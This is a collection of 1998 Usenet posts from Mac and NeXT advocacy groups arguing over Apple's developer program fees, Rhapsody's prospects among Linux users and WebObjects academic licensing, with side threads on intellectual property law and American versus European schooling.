<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
<6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM> <6h2t8k$kco$2@ns3.vrx.net>
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Maury Markowitz wrote:
>
> > It wouldn't
> > really take much effort, apart from *listening* to those customers.
>
> I guess my question is whether or not there's some inherent resistance from
> those users to ANY commercial OS?
I think that any resistance that actually exists has been substantially
overstated. For me and, I suspect, most others, the "free"-ness of Linux
is most appealing in that it provides greater *accessibility*, not
fulfillment of some socialistic dream (that the whole world might
altruistically participate in a global computing commune)...
If Apple announced the intention to build a strong Linux presence that
fostered the spirit of the existing community (not necessarily
non-commercial), I bet the number of people coming out of the woodwork
in support would startle you.
The key would be an open attitude of sponsorship and cooperation from
Apple. If Linux users got the idea that Apple was trying to *convert*
them, they wouldn't touch Rhapsody with a ten-foot pole. There's a very
important distinction in Linux users' minds between support and
recruitment. That's why they resist the idea of a Linux port of MSIE:
they automatically assume that Microsoft's intentions would be to
"assimilate" Linux, rather than to help it grow.
I hope I'm making my point clear. I'm probably not expressing it very
well.
MJP
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 16:28:02 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6h2n6i$sip$1@usenet49.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gvd4h$oop$37@ironhorse.plsys.co.uk> <6h031a$msf$1@usenet85.supernews.com> <6h2204$oop$49@ironhorse.plsys.co.uk>
In article <6h2204$oop$49@ironhorse.plsys.co.uk>,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>> I'd still want to do development on a Rhapsody system, rather
>> than do it on OS and later port it. It's a win to be developing
>> in the environment you'll be deploying in.
>>
>Umm, there's no port involved -- it Just Works.
I still think you need to develop in the environment you deploy
in. There's just too much to absorb with the finer points of
UI--copying/paying homage to/swiping small things like leveraging
off how the desktop does things. Plus if I'm going to do small,
handy utilities, the classic market for part-time developers, you
wouldn't have a real system around to find out where the holes are.
>> Besides, there's no Java in OS.
>>
>Fair point -- though there is in WebObjects. I'd still actually argue you to
>use Obj-C rather than Java anyway, but chacun a son gout.
I flip back and forth between the two. (If Java had categories I'd
be a happy camper.) But, realisticly, if I do something in Java
people around here would take it a lot more seriously than if I
did it in Obj-C.
It would be nice to have the DR2 release. As it is, I'll probably
wait until sometime after the WDC before I decide if I want to
have anything to do with Rhapsody. I suspect a lot of other people
feel the same way. This is a lose for Apple, since their greatest
barrier to acceptance for Rhapsody is software and programmers
willing to code to it.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Wed, 15 Apr 1998 09:28:17 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1504980928170001@dante.eng.uci.edu>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net> <6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net>
In article <6h1rq7$os8$7@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <6h1r14$ui8$1@nnrp1.dejanews.com> MacBacon-Berger@bigfoot.com claimed:
>> whoa, if it hadn't been for us Brits inventing the computer in the WW2 and
>> thereby breaking the Japanese enigma cypher you guys would all be eating
>> sushi, driving Hondas and watching Endurance on the TV!
>
> Uhhh, Enigma was German, Purple was Japanese. Breaking Purple was an
>entirely US project AFAIK. As to the computers in question, the "cratable"
>versions were built by NCR in the US and shipped to England.
Breaking Purple was entirely US and IIRC, it is still fully classified.
One of the oldest secrets our government is holding, though I can't think
of why off hand...
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 12:35:20 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h2nk8$su0$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> <6h06p <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>
In article <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>, bl003@dial.oleane.com (Benoit Leraillez) wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > No, I'm not satisfied: you said it was *for administrative use only*.
> > The statement from Apple clearly includes student, staff and faculty.
> > > I'd like to take a look at the fine print for this offer though.
> > For heaven's sake -- what fine print do you need?!
> I'll rephrase the sentence in two ways that only the fine print can
> decide which is the correct one:
> 1 "...Apple is reinforcing its commitment to education by offering...
> for (academic and university-related) (administrative use)..."
>
> 2 "...Apple is reinforcing its commitment to education by offering...
> for academic and (university-related administrative use)..."
Do you really think that #1 is a realistic alternative, given the
"student, staff, and faculty" comment? How many _students_ would be doing
"academic and university-related administrative use" and would require
their own personal copy of WebObjects for doing so?? For that matter,
what is "academic administrative use", and how does it compare to other
kinds of academic use?
Sheesh. Enough with the paranoia already. They just wanted to clarify
the fact that "university-related administrative use" was covered under
the "academic" discount.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 15 Apr 1998 16:30:02 GMT
Organization: I don't think so
Message-ID: <slrn6j96ol.je.jason@jhste1.dyn.ml.org>
References: <6gvit9$8u$6@ns3.vrx.net> <B15903E4-68E92@206.165.43.147> <6h013d$bnb$3@ns3.vrx.net> <slrn6j7p2e.ei4.jason@jhste1.dyn.ml.org> <35347F16.15FB7483@spam.me>
terry wrote:
>Heh. Coming from someone with a signature quoting a post in
>which Linus Torvalds was incorrectly assuming that the "sync"
>argument to the FFS mount command acted identically to the
>"sync" argument to the EXT2FS mount command, and was later
>corrected on the point. He was confusing "synchronous writes
>of all metadata without regard to async user data writes" with
>"ordering metadata writes *with* regard to async user data
>writes, using synchronous disk writes as an implementation
>detail".
Yeah, but he came up with the best line in that whole tired
exchange, so I just had to quote him in my sig.
So don't take it personally.
>PS: The article in question was cross-posted to the non-advocacy
>group comp.unix.os.freebsd.misc and another advocacy group,
>comp.os.linux.advocacy. You may want to add them to your
>attribution line.
Well, if I edit my .signature file and the power goes out during the save,
who knows what havoc may result, what with the horrendous risks that
Linus is taking with my metadata!
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 09:55:10 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-1504980955100001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com> <6gloaj$oop$15@ironhorse.plsys.co.uk> <steve-1304981325100001@oranoco.discoverysoft.com> <6gvkqu$oop$42@ironhorse.plsys.co.uk> <steve-1404981155220001@oranoco.discoverysoft.com> <6h2cpk$iu6$1@nnrp1.dejanews.com>
In article <6h2cpk$iu6$1@nnrp1.dejanews.com>, spagiola@usa.net wrote:
>Fine. I'll buy your scenarios. But now think about them: they involve a
>developer of a shareware product, who is (one hopes) making money from that
>product. It's a business. There are costs to being in business. You couldn't
>do it, for example, without a computer. But no-one is suggesting Apple give
>computers away. You couldn't do it without electric power to operate the
>computer. But no-one is suggesting Apple reimburse developers for their
>utility bills. Yet these items are critical, so the developer forks out money
>to get them. If the pre-release software is critical, they can get it -- the
>same way they get any other item that's critical to their business: by paying
>for it. If it's not critical, or if the developer is only doing this as a
>hobby, then they can simply wait until the software is in general release.
>What's so difficult about this?
The bottom line is that $500 U.S. is out of range for many starting
shareware developers. It is ludicrous for freeware developers.
If Apple sends out two MacOS updates per year (are they still committed to
doing that?) that means that just testing your product to make sure you
don't need to update it for the next relase of MacOS costs $250 per MacOS
release.
>Would there be more software if all the developer tools were free? Of course.
>I don't think anyone is disputing that. Would that be a wise way for Apple to
>spend its resources? That's something we can't tell without access to a whole
>lot more data on Apple's internal costs of running developer support programs.
My own opinion is that Apple should seed for free to people who can prove
they need access to them. That would be, basically, anyone who can prove
that they are actively developing software or who has produced and shipped
software for use by others. Put some controls in the system by all means,
but don't charge an arm and a leg for it.
>I do hope that Apple will be able to come up with a program that gives cheaper
>access to seeds. There certainly seems to be a demand for that. But let's drop
>the moral outrage. MS charges for access to the beta W98; why shouldn't Apple
>charge for access to RDR?
I expect that developers would be completely happy if Apple offered betas
of prelease system software to developers only for a cost of $29.95 a pop.
Heck, that's $220 less than they charge now. However, it should be noted
that Microsoft developers got betas of Windows 98 long before the public
beta. By the time the public has the beta, it's far too late to update
your software to stay compatible.
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 09:52:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6h2ojh$pn0@nntp02.primenet.com>
References: <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h2kdg$gb9$2@ha2.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
: Apple wants "Professional" developers writing Rhapsody software. You
: haven't proven that Apple needs so-called hobbyist developers writing
: techno-cool sparetime applications. Remember Rhapsody is for Servers in
: big corporations and PowerUsers doing Web graphics.
If anyone is tired of this elist crap, come on over to Java. The Java
community seems very open to hobbyists. In fact, just yesterday the
project manager for a major IDE called me and thanked me for my hobby
project, and asked if he could send out a free copy of his high-end IDE in
appreciation. Think different.
John Jensen
http://members.tripod.com/~mpTOOLS
Date: Wed, 15 Apr 1998 11:18:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Message-ID: <joe.ragosta-1504981118230001@wil77.dol.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h0at1$h5v$2@ns3.vrx.net> <6h15cp$55q$1@jetsam.uits.indiana.edu> <6h1r44$os8$4@ns3.vrx.net> <6h2fe0$9ju$1@jetsam.uits.indiana.edu>
In article <6h2fe0$9ju$1@jetsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> In article <6h1r44$os8$4@ns3.vrx.net>,
> Maury Markowitz <maury@remove_this.istar.ca> wrote:
> >In <6h15cp$55q$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> >> No matter what distribution system you use, development costs are
> >> independent of market share. Even with an electronic distribution system,
> >> or especially with an electronic distribution system, the more copies you
> >> sell, the lower the per unit cost can be while still making up the
> >> development costs.
> >
> > Sure, but there's much more to a product than development costs - they may
> >in fact be a small part. Support is _exponential_ with shipped units for
> >instance, and service costs are typically close to linear.
> >
> >Maury
>
> How can support costs be exponential?
Well, let's see.
The more copies you have out there, the more you have people trying to
help each other instead of calling your tech support people who know what
they're doing.
If you sell one copy, they have to call tech support.
If you sell 100 copies, most people call tech support.
If you sell 1000 copies, 10% ask their friends to help, screwing things up
royally by the time they finally get around to calling tech support.
If you sell 1,000,000 copies, most people get their friends to help first,
really screwing things up.
Not a very likely scenario, but I guess anything is possible--even support
costs being exponential with units shipped.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 17:29:22 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6h2qpi$4k3@newsb.netnews.att.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>
>Without a constitution, certainly. By contrast to pure Libertarianism,
>my conservative position includes a strong belief in Constitutionalism
>as the basis for all government and all legislation.
>
>Puzzling that in an argument about free markets, you would bring up the
>Constitution, when you, yourself, have been the advocate of "whatever it
>takes" government action on a situational basis. That sort of political
>theory has been the basis of socialism, fascism, and Divine Right
>kingship. By contrast, strong Constitutionalism is the basis of liberty.
>
>I suspect you invoked the Constitution out of a momentary lapse, rather
>than as a fundamental part of your argument. From where I stand,
>everything you have so far advocated stands in stark opposition to
>Constitutionalism. Unless, of course, when you say that "government
>'meddling'...creat[ed] the property right of intellectual property", you
>consider the Constitution itself to be "government meddling". That would
>be strange, indeed, since British Common Law establishes property
>rights, not "government meddling" by any definition I've ever seen.
First aside :
A strong constitution can just as easily take away liberty as it
can protect it. As an example, India, 1975-77.
End aside.
I do not think that British Common Law establishes intellectual property
rights. Regarding the copyright law in the US, it has been extended from
an original 28 years to 56 years to (author's life + 50 year) to
(possibly) (author's life + 70 years). There is nothing "natural"
or Constitutional about such extensions. The financial well-being of
many of these "free-market leaders", however, depends on it.
One might ask -- why isn't intellectual property like any other property,
say, real estate, with no time limit on ownership ? Isn't it
socialist to make something that was once private property to enter
the public domain ?
The point is that free-markets do not exist in the hypothetical
"natural state" that a constitution is supposed to codify and defend.
Free markets are creations of constitutions, governments, bureaucrats,
economists, laws, etc.
Regulation of the market is quite legitimate. Where socialism enters,
and where government regulation goes wrong, is for the government to
pick pre-assigned winners (or losers). Government is there to make
sure that the rules are followed. The rules do not emerge out of
nowhere, nor are they "natural" or derivable from fundamental principles.
Like intellectual property law, the rules arise out of pragmatic
considerations of what it takes to keep the market free. It is in
this context that the regulation of monopolies comes in.
-arun gupta
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 10:51:04 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104>
In article <ericb-1404981442150001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <6gupoo$ogs$1@news3.alpha.net>, rpeterson@msn.globaldialog.com
> (Ron Peterson) wrote:
>
> > mmalcolm crawford (malcolm@plsys.co.uk) wrote:
> > : Europeans are, on average, better educated, more capable of independent
> > : creative thought, and can speak English better... :-)
> >
> > If you will check http://nces.ed.gov/pubs/eiip/eiipid11.html, you will
> > find that the U.S. has a higher percentage of college graduates
> > than any European country.
>
> I bet we also have a lot more lousy schools than Europe does. See, for
> example, the section "BAD Colleges and Universities" in the book "BAD" by
> Paul Fussell.
>
> According to Fussell, we have more PhDs awarded in "education" than any
> other field. Given that, and given that so many Americans have college
> degrees, why is it that Americans do so poorly when it comes to
> head-to-head skills comparisons with citizens in so many foreign nations?
> And why is the illiteracy rate in the United States so high? Why can't
> American students find Mexico on a map (I'm not making this up!).
We used to have the best schools in the world. From 1900 to about
1964 Americans received first-rate primary and secondary educations
in our public schools. Even in the inter cities. Since the mid sixties,
however, the quality of education in this country has fallen like a rock.
Reasons?
1) Cost. The cost of everything has risen all out of proportion to income.
Everything is at least 10X more expensive than it was in 1960, yet
personal income and the tax structure have grown only by about 5X.
This results in a lower standard of living, not only for individuals but
for institutions like schools as well.
2) Multiculturalism. I'd like to know where this idea of multiculturalism
came from. I mean, where's the model? Show me one successful
multicultural nation! You can't. In earlier times, an immigrant to the
US was forced by circumstances to learn OUR language and OUR customs
as soon as possible. School was conducted in ENGLISH, there were no
multilingual signs on public restrooms. Today, so much classroom time
is spent coddling non-English speaking, non-Western cultured students,
that there is very little actual teaching (or learning) going on. Now I'm
not saying that our language is better than others, or that Western culture
is superior, I'm saying that a fragmented culture of fragnmented people
speaking dozens of different languages is impossible to unite, and that
makes a teachers task an impossible one.
3) Lack of discipline. Up until the mid-to-late sixties, educators were
allowed to discipline unruly students. I remember respecting my teachers
and especially the principle and vice principle of the school. They had the
power to punish me. With a hickory switch in grade school, and by the
revokation of privileges later. You were obedient, and non-disruptive
in school because the consequences of not being so were terrible. They
were terrible because society looked down on those students who were
troublesome. Many call ours a 'permissive society'. Well if you permit it,
you've got it!
4) Liberalism. My favorite catch-all for the myriad ills of modern American
society. Liberals say - don't fail students, its bad for their self-esteem.
The result of this idiocy is that we graduate classes full of students who
don't know how to read or add a column of figures. Self-esteem, my ass!
We'll see about self-esteem when these 'students' get into the workforce!
Liberalism doesn't extend to there. One performs or one is OUT. Its time
that liberals understand that with their "outcome -based' education ideas
that they are part of the problem, not the solution.
5) Teacher apathy. With so many restrictions placed upon teachers; lack of
funds,
liberal emphesis on non-essential education, inability to control the
class,
a general feeling of helplesness, its no wonder that most teachers
have become
little more than babysitters for kids who's parents are too busy to
care. There
is probably no more important profession in this society than that of
teacher,
yet it is one of the poorest paid. How can we get the best, if we are
not willing
to pay for the best?
6) Parental apathy. In today's economy, with our eroded standard of
living, both
parents HAVE to work. Gone are the days when mom stayed home. With both
parents pursuing their own careers, who has time to deal with junior? Let
the schools do it. Well, I'm sorry, but if kids don't get the basic
values of
society drilled into them at home, before they start school, then they
certainly
aren't going get them at some overcrowded, underfinanced public institution
like a school. Proper education starts at home.
Well, you asked!
George Graves
>
> --
> Eric Bennett (www.pobox.com/~ericb)
> Cornell University Biochemistry Department
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 18:24:43 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6j9ura.23.mbkennel@lyapunov.ucsd.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com> <6h06p <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com> <6h2nk8$su0$1@crib.bevc.blacksburg.va.us>
On 15 Apr 1998 12:35:20 -0400, Nathan Urban
:Sheesh. Enough with the paranoia already. They just wanted to clarify
:the fact that "university-related administrative use" was covered under
:the "academic" discount.
Of course.
Be reasonable and think about real life.
You aren't allowed to do commerce with $99 WebObjects, but you can do
teaching and research. Academic administration is an unexpected bonus, like
getting $99 Oracle for campus administrative databases.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 13:07:09 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1504981307100001@nas-sa-p7.usc.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com> <3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net> <3534C720.3BACAC4@milestonerdl.com>
In article <3534C720.3BACAC4@milestonerdl.com>, mark@milestonerdl.com wrote:
> I have YET to see anyone defend Apple that the way they treated the Newton
> Development community was 'fair', 'just', or 'morally correct'.
Products get cancelled all the time. Apple should probably fix that one
hideous outstanding bug (it there's anyone there who can these days), but
that's where I see the "moral" responsibility ending. The Newton will
continue to function, probably well past the time when Apple has a
replacement product ready. I might not have cancelled a product without
already having its replacement ready, but I'm not an expert on Apple's
business end of things.
> But if you are thinking of jumping on the Rhapsody bandwagon, look at
how Apple
> treated the Newton Developers and ask yourself if you want to be treated that
> way.
I see this as the difference between the future of Apple's central
product, its OS, and the future of its incidental projects which were not
doing well in the market. Big difference.
Trev
--
http://www.uscsu.sc.edu/~tzbaukni
trev@sc.eduEATMOSPAM (unmunge)
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: letter to macnn about developer article
Date: 15 Apr 1998 18:38:20 GMT
Message-ID: <01bd689d$48e281c0$33f0bfa8@davidsul>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com>
You are talking about getting just the cds without the seeds for $200, I
take it?
I thought this was a option BEFORE this program was introduced as well?
From what I have seen the $200 option wasnt just announced by apple, what
was announced by apple was a $500 plan and the $3500 plan. Their was NO
$200 plan introduced, I assumed it was their all along.
I am under the impression the $200 program was their all along, you just
didnt know about it. And the "free program" apple announced was also
nothing new, it has been in place for quite some time
> > No, prices were increased with no new services offered, or services
deleted
>
>
> Speak for yourself. The new programs saved me $50 as I don't need the
> software seeds. (I have access to them at work, but don't need them at
home.)
> And once Rhapsody CR1 ships, it'll be $50 easier to get friends to try it
as
> a development platform.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net> <6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net> <6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM> <6h2t8k$kco$2@ns3.vrx.net>
Message-ID: <35357f36.0@news.depaul.edu>
Date: 16 Apr 98 03:47:02 GMT
In comp.sys.next.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
> I guess my question is whether or not there's some inherent resistance from
> those users to ANY commercial OS?
Actually, one way Apple may benefit from Linux and its ilk: the free OS's
may help legitimize non-Microsoft OS's for some people, or at least
make them aware that alternatives exist. If they find that Linux isn't
their cup of tea, they might be more likely to consider Rhapsody, rather
than just going straight back to Microsoft.
This may not be a big boost, but it couldn't hurt.
- Jon
From: mimbar98@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Wed, 15 Apr 1998 13:36:01 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h2umh$ctf$1@nnrp1.dejanews.com>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net> <6h1r14$ui8$1@nnrp1.dejanews.com>
In article <6h1r14$ui8$1@nnrp1.dejanews.com>,
MacBacon-Berger@bigfoot.com wrote:
>
> In article <cirby-1404981050430001@pm61-12.magicnet.net>,
> cirby@magicnet.net (Chad Irby) wrote:
> >
> > Dave Griffiths <dgriffit@acorn.co.uk> wrote:
> >
> > > If it wasn't for us Europeans you lot would still be living in wigwams
> > > and hunting buffalo with bows and arrows!
> >
> > Well, if it wasn't for the US, you guys would be drinking warm beer,
> > eating badly-cooked food, and foisting silly girl groups on...
>
> whoa, if it hadn't been for us Brits inventing the computer in the WW2 and
> thereby breaking the Japanese enigma cypher you guys would all be eating
> sushi, driving Hondas and watching Endurance on the TV!
>
Now that's a scarey thought!
> David
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 16 Apr 1998 02:53:03 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6h3rqf$gg8$1@vixen.cso.uiuc.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd433
mimbar98@hotmail.com wrote:
: The problem with teachers in the US isn't that they're not attracting enough
: people. On the contrary, the supply of teachers is very high which is why
: they aren't paid as highly as they could be. Bear in midn they only work 8
: months (when you subtract the considerable holidays) a year so if a teacher
: is making $40k, that's a lot per hour.
While the teacher glut is true, the comment on adequate salaries is not. A
graduate from a respected four-year University can expect to be paid from
$22-30K a year for their first foray into the teaching fray. Now you may
justify that amount with the amount of hours spent "teaching", but most
(if not all) teachers are required by sheer logistics to work off the
clock just to keep their classes moving. This encompasses planning,
grading, dealing with parents, and all the other things that most
professions can leave behind at the office.
: The real problem is that getting a teaching degree is too easy. In the US,
: the secondary ed. classes are a joke not to mention what elementary ed.
: classes are. If they simply made those classes tougher, fewer people would
: get through and they would be able to command higher salaries. Too many
: teachers are simply not particularly intelligent and the ever powerful
: teacher unions make it tough to rid the world of incompotent teachers.
This may be true at some higher ed locations, but it most certainly isn't
here at U of Ill. The College of Education is one of the most difficult
programs to enter, and it becomes nearly impossible to transfer into (On
the order of or moreso than Engineering). Classes are far from a blow off,
and unpaid internships are _REQUIRED_ prior to obtaining a certificate.
Not exactly a walk in the park.
(Both my sister and mother teach in el ed, and combined they probably
gross less than $20K/year. Granted one is a part time art teacher and one
works as an aide for special ed kids, but I can guarantee that their
workload per dollar is much higher than most other professionals in this
country)
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: 16 Apr 1998 04:06:48 GMT
Message-ID: <01bd6927$5321b180$24f0bfa8@davidsul>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com>
Well if the statement that was made is untrue, all the better
Some of the benefits of rhapsody would be greatly unused if Adobe didnt
have its
products out for Rhapsody. Yay, rhapsody is out with its great support for
multi-processors. Oops, but their is no photoshop :P
That would not be good. But doesnt adobe already have most of their
products out for unix?
> Thats not true Stephen..
>
> Adobe didn't make any sort of public statement of the type.
True, as you clarify a formal statement was not made, yet what was said was
disheartening. Of course if its false all the better.
> Some representative (unnamed) claimed that they weren't
> looking at it in a MacWeek quote. Hardly a public statement of
> direction from Adobe proper.
>
> Funny, but Adobe has sent folks to the Developer Kitchen for
> training in recent history (say, the last 2 months) according to my
> sources...
What is the developer kitchen?
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 04:19:06 GMT
Organization: @Home Network
Message-ID: <6h40rq$rgu$3@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
<6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
<6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com>
<6h21e2$oop$48@ironhorse.plsys.co.uk> <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>
<6h2tfn$b7b$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: spagiola@usa.net
In <6h2tfn$b7b$1@nnrp1.dejanews.com> spagiola@usa.net wrote:
